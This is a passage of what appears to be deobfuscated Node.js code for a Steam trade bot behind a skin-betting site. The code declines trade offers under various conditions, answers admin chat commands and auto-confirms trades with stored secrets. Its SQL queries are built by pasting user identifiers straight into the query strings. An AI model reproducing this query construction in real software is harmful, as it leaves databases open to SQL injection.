- }
- exports.query("SELECT * FROM `users` WHERE `steamid`='" + onSuccess + "'", function(reply, newlines, dataAndEvents) {
- return reply ? (console.log("MYSQL Error: " + reply), me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: MYSQL Error (as seen above) ");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : 0 == newlines.length ? void me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User is not in the MYSQL Database");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }) : (ban = newlines[0].ban, tlink = newlines[0].tlink, 1 == ban ? (b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User is banned");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : tlink ? void exports.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + list + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- itemsin = dataAndEvents[0].itemsnum;
- callback(me, onSuccess, data, list, CB, serviceName, value, queue, win, itemsin);
- }) : (me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User doesn't have a TradeLink set ");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })));
- });
- });
- }) : (me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : void 0;
- }, 2E3);
- });
- });
- });
- });
- });
- });
- self.on("friendMessage#" + admin, function(dataAndEvents, b) {
- if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (self.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), iterate(1)), 0 == b.indexOf("/sendoffers") && (self.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), query(1)), 0 == b.indexOf("/code")) {
- var err = SteamTotp.generateAuthCode(sharedsecret);
- self.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + err);
- }
- if (0 == b.indexOf("/cc")) {
- self.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check..");
- console.log("[SERVER] Performing a Mobile Confirmation Check..");
- community.checkConfirmations();
- }
- if (0 == b.indexOf("/poll")) {
- self.chatMessage(admin, "[SERVER] Checking for Tradeoffers..");
- console.log("[SERVER] Checking for Tradeoffers..");
- req.doPoll();
- }
- if (0 == b.indexOf("/loadprices")) {
- self.chatMessage(admin, "[SERVER] Refreshing Market API!");
- handler();
- }
- if (0 == b.indexOf("/end")) {
- self.chatMessage(admin, "[SERVER] Ending the current game!");
- if (-1 != tref) {
- clearTimeout(tref);
- }
- preload();
- }
- if (0 == b.indexOf("/offers")) {
- exports.query("SELECT ID FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
- if (0 != fmt.length) {
- console.log(fmt);
- self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
- } else {
- self.chatMessage(admin, "[SERVER] There aren't any active queue ID's.");
- }
- });
- }
- if (0 == b.indexOf("/rakes")) {
- exports.query("SELECT ID FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
- if (0 != fmt.length) {
- console.log(fmt);
- self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
- } else {
- self.chatMessage(admin, "[SERVER] There aren't any active rake ID's.");
- }
- });
- }
- });
- community.on("newConfirmation", function(d) {
- /** @type {number} */
- var camelKey = Math.round(Date.now() / 1E3);
- var data = SteamTotp.getConfirmationKey(identitysecret, camelKey, "allow");
- community.respondToConfirmation(d.id, d.key, camelKey, data, true, function(reply) {
- console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!");
- if (reply) {
- console.log("[SERVER] Confirmations error: " + reply);
- self.webLogOn();
- }
- });
- });
- community.on("confKeyNeeded", function(deepDataAndEvents, updateFunc) {
- console.log("confKeyNeeded");
- /** @type {number} */
- var progressContexts = Math.floor(Date.now() / 1E3);
- updateFunc(null, progressContexts, SteamTotp.getConfirmationKey(identitysecret, progressContexts, deepDataAndEvents));
- });
- setInterval(function() {
- exports.query("SELECT 1");
- }, 36E5);
- });
- module.exports = require("../bot.js");
- }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement